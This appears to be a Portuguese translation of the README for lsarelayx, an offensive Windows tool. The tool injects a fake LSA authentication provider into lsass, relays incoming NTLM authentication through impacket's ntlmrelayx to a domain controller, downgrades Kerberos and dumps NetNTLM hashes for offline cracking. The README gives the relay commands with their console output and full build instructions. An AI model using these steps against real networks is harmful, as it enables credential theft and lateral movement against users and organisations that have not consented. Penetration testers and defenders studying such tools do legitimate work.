
Ferramenta de relay NTLM em todo o sistema que faz hook nas APIs de autenticação do Windows para retransmitir conexões NTLM recebidas, fazer downgrade do Kerberos e despejar hashes NetNTLM para cracking offline.
lsarelayx é uma ferramenta de relay NTLM em todo o sistema, projetada para retransmitir solicitações de autenticação baseadas em NTLM recebidas para o host onde está sendo executado. lsarelayx retransmitirá qualquer solicitação de autenticação recebida, incluindo SMB. Como lsarelayx se conecta aos fluxos de autenticação de aplicativos existentes, a ferramenta também tentará atender à solicitação de autenticação original após a conclusão do relay. Isso impedirá que o aplicativo/protocolo de destino exiba erros e funcione normalmente para usuários finais que se autenticam contra o host lsarelayx.
lsarelayx consiste em três partes. Um provedor de autenticação LSA falso implementado em liblsarelay.dll, um aplicativo de console em modo de usuário como interface de controle, e um novo módulo de servidor ntlmrelayx chamado RAW.
liblsarelayx.dll é o provedor de autenticação LSA que é carregado pelo lsarelayx. Seu propósito predominante é interceptar os pacotes NTLM e Negotiate para facilitar o redirecionamento de solicitações de autenticação para o lsarelayx através de um pipe nomeado local para retransmissão e despejo de hashes NetNTLM. liblsarelayx é projetado para ser o mais simples possível, onde todo o trabalho pesado é realizado pelo lsarelayx.
lsarelayx.exe é o aplicativo de console principal usado para carregar o provedor de autenticação LSA personalizado (liblsarelayx.dll), ouvir tokens NTLM e Negotiate recebidos do provedor de autenticação e retransmitir para o módulo de servidor RAW do ntlmrelayx. A ferramenta também realiza as consultas LDAP usadas para capturar informações de grupo de usuários retransmitidos e retornar ao provedor de autenticação LSA.
O ntlmrelayx do impacket implementou uma quantidade significativa de trabalho criando ataques de relay e continuará melhorando e adicionando novos ataques no futuro. Para aproveitar isso em vez de reimplementar ataques diretamente no lsarelayx, um novo módulo de servidor ntlmrelayx foi criado chamado RAW. Atualmente, há um PR aberto no GitHub que implementa o módulo de servidor RAW. O módulo de servidor RAW é independente de protocolo e é projetado para aceitar mensagens NTLM brutas diretamente de softwares de terceiros como o lsarelayx.
Até que o PR seja mesclado no repositório principal do impacket, você pode usar esta versão.
Primeiro, inicie o módulo de servidor RAW do ntmlrelayx para ouvir mensagens NTLM brutas enviadas pelo lsarelayx.
python examples\ntlmrelayx.py -smb2support --no-wcf-server --no-smb-server --no-http-server "-t" smb://dc.victim.lan
Impacket v0.9.24.dev1+20211015.125134.c0ec6102 - Copyright 2021 SecureAuth Corporation
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[*] Running in relay mode to single host
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
O lsarelayx em si requer permissões de administrador local para ser executado. Para executar no modo de relay ativo, o endereço do host onde o ntlmrelayx está executando o módulo de servidor raw deve ser especificado. A porta padrão é 6666. Isso pode ser sobrescrito com o argumento --port, mas certifique-se de também ter sobrescrito a porta no lado do ntlmrelayx usando o argumento --raw-port.
lsarelayx.exe --host 192.168.1.1
[+] Using 192.168.1.1:6666 for relaying NTLM connections
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Você também pode executar o lsarelayx em modo passivo executando sem argumentos.
lsarelayx.exe
[=] No host supplied, switching to passive mode
[=] Attempting to load LSA plugin C:\users\Administrator\Desktop\liblsarelayx.dll
Uma vez que a DLL liblsarelayx foi carregada no lsass, atualmente não é possível descarregá-la devido a limitações de como os plugins LSA funcionam. O cliente pode ser fechado, o que colocará a DLL em um estado dormente até que o cliente seja iniciado novamente, mas a DLL permanecerá em uso até que uma reinicialização ocorra.
Como o plugin LSA não é na verdade um plugin genuíno, há planos de implementar um carregador reflexivo dentro do plugin que possa ser parado e iniciado à vontade, mas isso é um exercício para outro dia.
O desenvolvimento foi realizado no Windows 10 e Server 2016. Um teste rápido foi realizado no Windows Server 2012 R2 que funcionou, mas o cálculo de offsets para hook pode falhar no 2012 (isso pode ser fornecido manualmente usando o lookuppackage-hint=, acertar errado e o Windows será reiniciado). Nenhum teste foi realizado em nada abaixo do Windows 10 no lado desktop e nada testado no Server 2019.
liblsarelayx.dll será carregada dentro do processo crítico lsass.exe. Se liblsarelayx.dll tiver bugs que levem a uma falha do lsass.exe, o host IRÁ reiniciar após 60s. Embora os melhores esforços tenham sido feitos para escrever código livre de bugs, não posso prometer nada. Não venha chorar para mim se você derrubar o cliente Fortune 500 por causar falha no servidor de arquivos ocupado após usar o lsarelayx.
Se você tiver o docker instalado, esta é a opção mais rápida. Utiliza a imagem ccob/windows_cross com todas as dependências de compilação pré-instaladas.
docker run --rm -it -v $env:pwd\:/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; --build . --target install/strip"
docker run --rm -it -v $(pwd):/root/lsarelayx ccob/windows_cross:latest /bin/bash -c "cd /root/lsarelayx; mkdir build; cd build; cmake -DCMAKE_INSTALL_PREFIX=/root/lsarelayx/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..; cmake --build . --target install/strip"
No Linux, utilizamos um toolchain CMake junto com o compilador MinGW. Eles precisam ser instalados previamente. Para o componente gerenciado, certifique-se de que a ferramenta de linha de comando dotnet também esteja instalada a partir do .NET core.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -DCMAKE_TOOLCHAIN_FILE=../toolchain/Linux-mingw64.cmake ..
cmake --build . --target install/strip
O Windows exigirá uma configuração completa de CMake, MinGW e Visual Studio antes mesmo de tentar compilar, é a maneira mais dolorosa de compilar se você não tiver um ambiente de desenvolvimento instalado.
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=$PWD/dist -DCMAKE_BUILD_TYPE=MinSizeRel -G "MinGW Makefiles" ..
cmake --build . --target install/strip